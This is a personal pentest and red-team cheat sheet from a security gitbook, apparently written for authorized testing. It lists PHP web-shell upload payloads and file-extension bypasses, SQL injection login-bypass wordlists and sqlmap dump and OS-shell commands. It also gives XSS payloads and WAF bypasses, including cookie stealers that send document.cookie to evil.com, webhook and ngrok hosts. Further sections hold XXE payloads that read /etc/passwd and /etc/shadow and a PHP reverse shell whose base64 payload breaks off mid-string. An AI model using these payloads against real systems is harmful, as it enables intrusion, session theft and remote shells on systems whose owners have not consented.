# About

This is a project by [Segurança-Informática](https://seguranca-informatica.pt/) that contains my personal notes on red teaming / pentest and malware analysis, the various techniques used during assessments, and everything documented in the best possible way.&#x20;

## Goal

The main objective of this gitbook is to share knowledge **from the community for the community** 🙉

### Some notes on this gitbook:

{% hint style="info" %}

* The notes and articles may not cover all artifacts
* Opinions and analysis are my own
* You must expect mistakes, so
* You should consult additional resources and references
  {% endhint %}

{% hint style="danger" %}
**Copyright**

Do not share or disseminate this content on your own, please add the source everytime 👍🏼
{% endhint %}

## Social

[@sirpedrotavares](https://twitter.com/sirpedrotavares)

{% embed url="<https://seguranca-informatica.pt/contacto/>" %}

## Donations

![](/files/-Maj2c37IyGpcTh82Xlp)

### [**https://www.buymeacoffee.com/sirpedrotavares**](https://www.buymeacoffee.com/sirpedrotavares):nerd:&#x20;


# Cheat Sheet


# Web


# Misc

## Per-user web directories (Apache)

On systems with multiple users, each user can be permitted to have a web site in their home directory using the [`UserDir`](https://httpd.apache.org/docs/2.4/mod/mod_userdir.html#userdir) directive. Visitors to a URL `http://example.com/~username/` will get content out of the home directory of the user "`username`", out of the subdirectory specified by the [`UserDir`](https://httpd.apache.org/docs/2.4/mod/mod_userdir.html#userdir) directive.

```php
curl localhost:3001/../../../~r.michaels/id_rsa
```

Reference: <https://httpd.apache.org/docs/2.4/howto/public_html.html>


# File Upload bypass

## File Upload bypass

### Content

```php
GIF89a1
<?php $a=system($_GET['cmd']); echo $a;?>
<?php system('whoami'); ?>
<?php exec('whoami'); ?>
<?php passthru('whoami'); ?>
<?php shell_exec('whoami'); ?>
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
```

### Filters

```php
evil.png;.php
evil.gif.php
evil.gif.php5
evil.php;gif
evil.config
evil.htaccess

 --other-extensions--
php3
php4
php5
php7
pht
phtm
phtml
phar
phps
```

Other extensions

```php
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
```

### Bypass file extensions checks

-Try upper cases: **pHp, .pHP5, .PhAr** ...\
-Add a valid extension before the execution extension: **file.png.Php5**\
-Add special characters at the end. Use burpsuite-intruder to make it easy.

```php
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
```

-Try to bypass the protections tricking the extension parser of the server-side with techniques like **doubling the extension** o**r adding junk data** (**null byte**s) between extensions.

```php
file.png.php
file.png.pHp5
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
flile.phpJunk123png
```

### Metatag with exif tool

```php
exiftool -Comment='<?php system($_REQUEST['cmd']); ?>' test.png
```

![](/files/-MXHgfOQxDwk5lX-HvuP)

### **php.ini file to bypass restrictions**

```php
safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON 
shell_exec = ON
```


# Authentication bypass

## **Authentication bypass with SQL**

Sending all the request through burpsuite (-p option)

```
 wfuzz -c -z file,sqlibypass.txt -d "__csrf_magic=sid%3Aa839ec5433fa491b740a65d8466329fe409d20b0%2C1569615456&usernamefld=admin&passwordfld=FUZZ&login=Login" -u http://10.10.10.60/index.php -p 127.0.0.1:8080 -L
```

Payloads availab**l**e on:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings>" %}

Wordlist to use with Burpsuite Intruder:

```
' or 1=1 LIMIT 1 --
' or 1=1 LIMIT 1 -- -
' or 1=1 LIMIT 1#
'or 1#
' or 1=1 --
' or 1=1 -- 
'*'
') OR 1=1 LIMIT 1 # 
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1#;
wronguser' or 1=1 LIMIT 1;#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
' or '1'='1
'
''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or # 
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
 OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
```

## References

{% embed url="<https://sushant747.gitbooks.io/total-oscp-guide/sql-injections.html>" %}

{% embed url="<https://sqlwiki.netspi.com/detection#mysql>" %}


# SQL Injection

## Manual tests

```
 http://10.11.15.137/comment.php?id=756'
 http://10.11.15.137/comment.php?id=756 order by 7
 http://10.11.15.137/comment.php?id=756 union all select 1,2,4,5,6,7
 http://10.11.15.137/comment.php?id=756 union all select 1,2,4,5,table_name,7 from information_schema.tables
 http://10.11.15.137/comment.php?id=756 union all select 1,2,4,5,column_name,7 from information_schema.columns where table_name='users'
 http://10.11.15.137/comment.php?id=756 union all select 1,2,4,5,concat(name,0x3a,password),7 FROM users

http://10.11.1.251/wp/wp-content/plugins/wp-forum/feed.php?topic=-4381 union all select 1
http://10.11.1.251/wp/wp-content/plugins/wp-forum/feed.php?topic=-4381+union+select+group_concat(user_login,0x3a,user_pass)+from+wp_users
```

## SQLmap 101

### Simple Usage

If you don’t know anything about the target site then use the normal command first, Observe if the sqlmap found something juicy for you

```
sqlmap -u “https://target_site.com/page/”
```

### Automatic GET request parameter

```
sqlmap -u “https://target_site.com/page?p1=value1&p2=value2”
```

### Specify the GET request parameters to Exploit

You can specify on which parameter you want to check or exploit the sql injection using just “-p” flag.

```
sqlmap -u “https://target_site.com/page?p1=value1&p2=value2” -p p1
```

### Use POST requests (Test All parameters)

```
sqlmap -u “https://target_site.com/page/” --data="p1=value1&p2=value2"
```

### SQLMap Request file as input

You can specify a request file containing the HTTP request, You can get it quickly from BurpSuite.

```
sqlmap -r request.txt
```

Here you can specify the targeted parameter or sqlmap will recognize and will test for all the parameters found.

**Specify Custom Position in HTTP request file**

You can use asterisk sign(**\***) to specify which parameter to attack or which place of the request to be attacked. You can specify or mark any part of the request by this method.

### Use Authenticated Session With Cookie

```
sqlmap -u “https://target_site.com/page/” --data="p1=value1&p2=value2" --cookie="Session_Cookie_Value"
```

### Use Authenticated Session with Auth Headers

```
sqlmap -u “https://target_site.com/page/” --data="p1=value1&p2=value2" --headers="Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"
```

### Basic Authentication

```
sqlmap -u “https://target_site.com/page/” --data="p1=value1&p2=value2" --auth-type=basic --auth-cred=username:password
```

### Use Previously created Session as SQLmap input (-s)

If you got SQL injection positive somewhere, then sqlmap will automatically create a session file(.sqlite) for later use. Now, If you want to try some other commands later, you can use the session file directly (It will save your time to re-try all the possible payloads and identify the vulnerability and all.)

```
sqlmap -u “https://target_site.com/page?p1=value1" -s SESSION-FILE.sqlite --dbs
```

You can use this file from the home path of sqlmap tool’s output directory.

## Post Exploitation Commands

If the SQL injection vulnerability observed positive then you can use the following commands to Exploit the SQL injection vulnerability.

### List the Databases

```
sqlmap -u “https://target_site.com/page?p1=value1” --dbs
```

### List Tables of Database TARGET\_DB

```
sqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB --tables
```

### List Columns of Table TARGET\_TABLE of Database TARGET\_DB

```
sqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB -T TARGET_TABLE --columns
```

### Dump Specific Data of Columns of Table TARGET\_TABLE of Database TARGET\_DB

```
sqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB -T TARGET_TABLE -C "Col1,Col2" --dump
```

### Fully Dump Table TARGET\_TABLE of Database TARGET\_DB

```
sqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB -T TARGET_TABLE --dump
```

### Dump full Database

```
sqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB --dump
```

### Custom SQL query

```
sqlmap -u “https://target_site.com/page?p1=value1” --sql-query "SELECT * FROM TARGET_DB;"
```

### Get OS Shell

```
sqlmap -u “https://target_site.com/page?p1=value1” --os-shell
```

### Get SQL shell

```
sqlmap -u “https://target_site.com/page?p1=value1” --sqlmap-shell
```

## SQLMap Proxy

### Proxy through Burpsuite

```
sqlmap -u “https://target_site.com/page?p1=value1” --proxy="http://127.0.0.1:8080/"
```

### Use Tor Socks5 proxy

```
sqlmap -u “https://target_site.com/page?p1=value1” --tor --tor-type=SOCKS5 --check-tor --dbs
```

## Extra

### Specify The Database Type

```
sqlmap -u “https://target_site.com/page?p1=value1” --dbms=mysql
```

You can use other DBMS types like *MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, Percona, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase*, etc.

### Attack Techniques

**–technique** Specify a letter or letters of **BEUSTQ** to control the exploit attempts:

* **B**: Boolean-based blind
* **E**: Error-based
* **U**: Union query-based
* **S**: Stacked queries
* **T**: Time-based blind
* **Q**: Inline queries

```
sqlmap -u “https://target_site.com/page?p1=value1” --technique=BEUSTQ
```

### Specify the Injection Techniques

You can specify the difficulty levels using two flags,

1. –level = LEVEL     Level of tests to perform (1-5, default 1)
2. –risk=RISK         Risk of tests to perform (0-3, default 1)

```
sqlmap -u “https://target_site.com/page?p1=value1” --risk=3 --level=5
```

**Option: `--risk`**

This option requires an argument that specifies the risk of tests to perform. There are **three** risk values.

**–riks=1**: 1 is default value which is for the majority of SQL injection points.

**–riks=2**: Adds to the default level the tests for heavy query time-based SQL injections

**–riks=3**: Value 3 adds also `OR`-based SQL injection tests.

**Option: `--`level**

When the value of `--level` is >= **2** it tests also HTTP *`Cookie`* header values. When this value is >= **3** it tests also HTTP *`User-Agent`* and HTTP *`Referer`* header value for SQL injections.

### `Use` Default Options for the process

Use **–batch** flag to use all the default options or used for non-interactive sessions. (By specifying –batch flag, sqlmap will not ask you for the (Y/N) choice rather then it will smartly choose according to the needs.)

```
sqlmap -u “https://target_site.com/page?p1=value1” --batch
```

### **–force-ssl** flag

Force SQLmap to use SSL or TLS for its requests.

Error: Can’t establish SSL connection

If you getting the following error during testing then you can use the flag **–force-ssl** to force SQLMap to use SSL or TLS.

### Tamper Scripts

You can use the tamper scripts to **bypass WAF** or to **modify the payload**. You can use multiple tampering scripts at once using **–tamper** flag.

```
sqlmap -u “https://target_site.com/page?p1=value1” --tamper=charencode
```

#### For General Perpose Usecase:

```
--tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
```

#### MSSQL:

```
--tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dsash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
```

#### MySQL:

```
--tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
```

OR You can create your own Custom Tamper script to overcome the issue of some type of Encrypted payloads like AES, DES, Hashing, etc.&#x20;

{% embed url="<https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet>" %}

![](/files/DQOIji5R2fN3jJn59ekP)

{% embed url="<https://thedarksource.com/sqlmap-cheat-sheet/>" %}

{% embed url="<https://www.exploit-db.com/papers/13045>" %}

{% embed url="<https://sqlwiki.netspi.com/detection#mysql>" %}


# XSS

One thing you should understand when exploiting XSS is the behavior of the application towards specific payloads. The followings can be considered a checklist before exploiting XSS vulnerability:

* **Find the blacklisted/filtered characters. You can use XSS locators for this:**

```
'';! - "<XSS>=&{()}
```

* **Observe what tags are blocked by WAF and which keywords are allowed (iframe, img, body etc.)**
* **Try Character Encoding (URL encoding, Double URL encoding, UTF-8 Unicode encoding, Long UTF-8 Unicode encoding, Hex encoding etc.)**
* **Try XSS using HTML quote encapsulation**
* **Try URL string evasion**
* **Create the payload list according to the allowed keywords**
* **Brute-force the application with the XSS payload list you just created**

## Payloads <a href="#aa46" id="aa46"></a>

```
XSS Locators:
'';!--"<XSS>=&{()}

Classic Payloads:
<svg onload=alert(1)>
"><svg onload=alert(1)>
<iframe src="javascript:alert(1)">
"><script src=data:&comma;alert(1)//

script tag filter bypass:
<svg/onload=alert(1)>
<script>alert(1)</script>
<script     >alert(1)</script>
<ScRipT>alert(1)</sCriPt>
<%00script>alert(1)</script>
<script>al%00ert(1)</script>

HTML tags:
<img/src=x a='' onerror=alert(1)>
<IMG """><SCRIPT>alert(1)</SCRIPT>">
<img src=`x`onerror=alert(1)>
<img src='/' onerror='alert("kalisa")'>
<IMG SRC=# onmouseover="alert('xxs')">
<IMG SRC= onmouseover="alert('xxs')">
<IMG onmouseover="alert('xxs')">
<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<SCRIPT SRC=http:/evil.com/xss.js?< B >
"><XSS<test accesskey=x onclick=alert(1)//test
<svg><discard onbegin=alert(1)>
<script>image = new Image(); image.src="https://evil.com/?c="+document.cookie;</script>
<script>image = new Image(); image.src="http://"+document.cookie+"evil.com/";</script>

Other tags:
<BASE HREF="javascript:alert('XSS');//">
<DIV STYLE="width: expression(alert('XSS'));">
<TABLE BACKGROUND="javascript:alert('XSS')">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<xss id=x tabindex=1 onactivate=alert(1)></xss>
<xss onclick="alert(1)">test</xss>
<xss onmousedown="alert(1)">test</xss>
<body onresize=alert(1)>”onload=this.style.width=‘100px’>
<xss id=x onfocus=alert(document.cookie)tabindex=1>#x’;</script>

CharCode:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

if the input is already in script tag:
@domain.com">user+'-alert`1`-'@domain.com

AngularJS: 
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
{{{}.")));alert(1)//"}}
{{{}.")));alert(1)//"}}
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,11 4,116,40,49,41)

Scriptless:
<link rel=icon href="//evil?
<iframe src="//evil?
<iframe src="//evil?
<input type=hidden type=image src="//evil?

Unclosed Tags:
<svg onload=alert(1)//

DOM XSS:
“><svg onload=alert(1)>
<img src=1 onerror=alert(1)>
javascript:alert(document.cookie)
\“-alert(1)}//
<><img src=1 onerror=alert(1)>

Another case:
param=abc`;return+false});});alert`xss`;</script>
abc`; Finish the string
return+false}); Finish the jQuery click function
}); Finish the jQuery ready function
alert`xss`; Here we can execute our code
</script> This closes the script tag to prevent JavaScript parsing errors
```

### Restrictions Bypas <a href="#c234" id="c234"></a>

````
No parentheses:
<script>onerror=alert;throw 1</script>
<script>throw onerror=eval,'=alert\x281\x29'</script>
<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
<script>location='javascript:alert\x281\x29'</script>
<script>alert`1`</script>
<script>new Function`X${document.location.hash.substr`1`}`</script>

No parentheses and no semicolons:
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>

No parentheses and no spaces:
<script>Function`X${document.location.hash.substr`1`}```</script>

Angle brackets HTML encoded (in an attribute):
“onmouseover=“alert(1)
‘-alert(1)-’

If quote is escaped:
‘}alert(1);{‘
‘}alert(1)%0A{‘
\’}alert(1);{//

Embedded tab, newline, carriage return to break up XSS:
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">

Other:
<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>: base64 value which is alert(‘XSS’)

````

### Encoding

```
Unicode:
<script>\u0061lert(1)</script>
<script>\u{61}lert(1)</script>
<script>\u{0000000061}lert(1)</script>

Hex:
<script>eval('\x61lert(1)')</script>

HTML:
<svg><script>&#97;lert(1)</script></svg>
<svg><script>&#x61;lert(1)</script></svg>
<svg><script>alert&NewLine;(1)</script></svg>
<svg><script>x="&quot;,alert(1)//";</script></svg>
\’-alert(1)//

URL:
<a href="javascript:x='%27-alert(1)-%27';">XSS</a>

Double URL Encode:
%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E

Unicode + HTML:
<svg><script>&#x5c;&#x75;&#x30;&#x30;&#x36;&#x31;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x63;&#x5c;&#x75;&#x30;&#x30;&#x36;&#x35;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x32;&#x5c;&#x75;&#x30;&#x30;&#x37;&#x34;(1)</script></svg>

HTML + URL:
<iframe src="javascript:'&#x25;&#x33;&#x43;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x25;&#x33;&#x43;&#x25;&#x32;&#x46;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x25;&#x33;&#x45;'"></iframe>

```

### WAF Bypass <a href="#id-01b0" id="id-01b0"></a>

```
Imperva Incapsula:
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%25 23x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%25 26%2523x29%3B%22%3E
<img/src="x"/onerror="[JS-F**K Payload]">
<iframe/onload='this["src"]="javas&Tab;cript:al"+"ert``"';><img/src=q onerror='new Function`al\ert\`1\``'>

WebKnight:
<details ontoggle=alert(1)>
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

F5 Big IP:
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="[JS-F**k Payload]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">

Barracuda WAF:
<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

PHP-IDS:
<svg+onload=+"[DATA]"
<svg+onload=+"aler%25%37%34(1)"

Mod-Security:
<a href="j[785 bytes of (&NewLine;&Tab;)]avascript:alert(1);">XSS</a>
1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>

Quick Defense:
<input type="search" onsearch="aler\u0074(1)">
<details ontoggle="aler\u0074(1)">

Sucuri WAF:
1⁄4script3⁄4alert(¢xss¢)1⁄4/script3⁄4

```

## Stealers

```
--stored--
<img src=x onerror=this.src='http://yourserver/?c='+document.cookie>

<script>
document.write('<img src="[URL]?c='+document.cookie+'" />');
</script>

--reflected--
http://vulnerable.webapp/index.php?name=<script>document.write('<img src="https://webhook.site/xxx-xxx-xxx/?c='%2bdocument.cookie%2b'" />');</script>

---ninja 1----
<script>
fetch('https://awdawddawawdd.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

----script 1--GET METHOD----
// get some info from a GET request
var a = new XMLHttpRequest();
a.open("GET", "https://lol.php?xxx=1&ajax=full_email_address", false);
a.withCredentials = true;
a.send();
var email=a.response;

// exfiltrate to C2
var b = new XMLHttpRequest();
b.open("GET", "https://xxxxxxxx.ngrok.io/?email="+email);
b.send();


---script 2---POST METHOD---
// set something
var a = new XMLHttpRequest();
a.open("POST", "https://xxxx.php?xxxx=1&screen=settings&role=administrator&action=save", false);
a.withCredentials = true;
a.send("send_email=on&receive_money=on");

```

![](/files/-MfocBJFnm3nbVsMvXpS)

## Other lists

{% embed url="<https://owasp.org/www-community/xss-filter-evasion-cheatsheet>" %}

{% embed url="<https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>" %}

{% embed url="<https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting>" %}

## Tools

See XSS tools here:

{% embed url="<https://gitbook.seguranca-informatica.pt/tools/web-and-and-dns/web-discovery>" %}

{% embed url="<https://beefproject.com/>" %}

## References

{% embed url="<https://blog.cobalt.io/a-pentesters-guide-to-cross-site-scripting-xss-19f60cf4255f>" %}


# XXE

## XInclude in XXE attack

```
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo> 
```

```
<xi:include xmlns:xi=”http://www.w3.org/2003/XInclude” parse=”text”
href=”file://../../../../../../../../Windows/System32/drivers/etc/hosts”>
<xi:fallback>Oops!</xi:fallback>
</xi:include>
```

**Mitigation:** If possible disable XML extensions and entities expansion. Add proper rules for XML extensions that enable this same attack like XInclude and xop.

{% embed url="<https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files>" %}

## XXE payloads

### Ping

```
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://ccccccccccccc.burpcollaborator.net/x">
%ext;
]>
<r></r>
```

### File disclosure

```
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
```

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>
```

### Denial of Service

```
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>
```

## Resources

{% embed url="<https://github.com/payloadbox/xxe-injection-payload-list>" %}

{% embed url="<https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity>" %}

{% embed url="<https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html>" %}

{% embed url="<https://gosecure.github.io/presentations/2019-06-19-hack_in_paris/HIP2019-Advanced_XXE_Exploitation.pdf>" %}


# Reverse-shell

## Reverse-shell

### Windows PHP reverse-shell

```php
<?php

header('Content-type: text/plain');
$ip   = "192.168.1.9"; //change this 
$port = "1234"; //change this
$payload = "7Vh5VFPntj9JDklIQgaZogY5aBSsiExVRNCEWQlCGQQVSQIJGMmAyQlDtRIaQGKMjXUoxZGWentbq1gpCChGgggVFWcoIFhpL7wwVb2ABT33oN6uDm+tt9b966233l7Z39779/32zvedZJ3z7RO1yQjgAAAAUUUQALgAvBEO8D+LBlWqcx0VqLK+4XIBw7vhEr9VooKylIoMpVAGpQnlcgUMpYohpVoOSeRQSHQcJFOIxB42NiT22xoxoQDAw+CAH1KaY/9dtw+g4cgYrAMAoQEd1ZPopwG1lai2v13dDI59s27M2/W/TX4zhwru9Qi9jem/4fTfbwKt54cB/mPZagIA5n+QlxCT5PnaOfm7BWH/cn37UJ7Xv7fxev+z/srjvOF5/7a59rccu7/wTD4enitmvtzFxhprXWZ0rHvn3Z0jVw8CQCEVZbgBwCIACBhqQ5A47ZBfeQSHAxSZYNa1EDYRIIDY6p7xKZBNRdrZFDKdsWhgWF7TTaW3gQTrZJAUYHCfCBjvctfh6OWAJ2clIOCA+My6kdq5XGeKqxuRW9f10cvkcqZAGaR32rvd+nNwlW5jf6ZCH0zX+c8X2V52wbV4xoBS/a2R+nP2XDqFfFHbPzabyoKHbB406JcRj/qVH/afPHd5GLfBPH+njrX2ngFeBChqqmU0N72r53JM4H57U07gevzjnkADXhlVj5kNEHeokIzlhdpJDK3wuc0tWtFJwiNpzWUvk7bJbXOjmyE7+CAcGXj4Vq/iFd4x8IC613I+0IoWFOh0qxjnLUgAYYnLcL3N+W/tCi8ggKXCq2vwNK6+8ilmiaHKSPZXdKrq1+0tVHkyV/tH1O2/FHtxVgHmccSpoZa5ZCO9O3V3P6aoKyn/n69K535eDrNc9UQfmDw6aqiuNFx0xctZ+zBD7SOT9oXWA5kvfUqcLxkjF2Ejy49W7jc/skP6dOM0oxFIfzI6qbehMItaYb8E3U/NzAtnH7cCnO7YlAUmKuOWukuwvn8B0cHa1a9nZJS8oNVsvJBkGTRyt5jjDJM5OVU87zRk+zQjcUPcewVDSbhr9dcG+q+rDd+1fVYJ1NEnHYcKkQnd7WdfGYoga/C6RF7vlEEEvdTgT6uwxAQM5c4xxk07Ap3yrfUBLREvDzdPdI0k39eF1nzQD+SR6BSxed1mCWHCRWByfej33WjX3vQFj66FVibo8bb1TkNmf0NoE/tguksTNnlYPLsfsANbaDUBNTmndixgsCKb9QmV4f2667Z1n8QbEprwIIfIpoh/HnqXyfJy/+SnobFax1wSy8tXWV30MTG1UlLVKPbBBUz29QEB33o2tiVytuBmpZzsp+JEW7yre76w1XOIxA4WcURWIQwOuRd0D1D3s1zYxr6yqp8beopn30tPIdEut1sTj+5gdlNSGHFs/cKD6fTGo1WV5MeBOdV5/xCHpy+WFvLO5ZX5saMyZrnN9mUzKht+IsbT54QYF7mX1j7rfnnJZkjm72BJuUb3LCKyMJiRh23fktIpRF2RHWmszSWNyGSlQ1HKwc9jW6ZX3xa693c8b1UvcpAvV84NanvJPmb9ws+1HrrKAphe9MaUCDyGUPxx+osUevG0W3D6vhun9AX2DJD+nXlua7tLnFX197wDTIqn/wcX/4nEG8RjGzen8LcYhNP3kYXtkBa28TMS2ga0FO+WoY7uMdRA9/r7drdA2udNc7d6U7C39NtH7QvGR1ecwsH0Cxi7JlYjhf3A3J76iz5+4dm9fUxwqLOKdtF1jW0Nj7ehsiLQ7f6P/CE+NgkmXbOieExi4Vkjm6Q7KEF+dpyRNQ12mktNSI9zwYjVlVfYovFdj2P14DHhZf0I7TB22IxZ+Uw95Lt+xWmPzW7zThCb2prMRywnBz4a5o+bplyAo0eTdI3vOtY0TY1DQMwx0jGv9r+T53zhnjqii4yjffa3TyjbRJaGHup48xmC1obViCFrVu/uWY2daHTSAFQQwLww7g8mYukFP063rq4AofErizmanyC1R8+UzLldkxmIz3bKsynaVbJz6E7ufD8OTCoI2fzMXOa67BZFA1iajQDmTnt50cverieja4yEOWV3R32T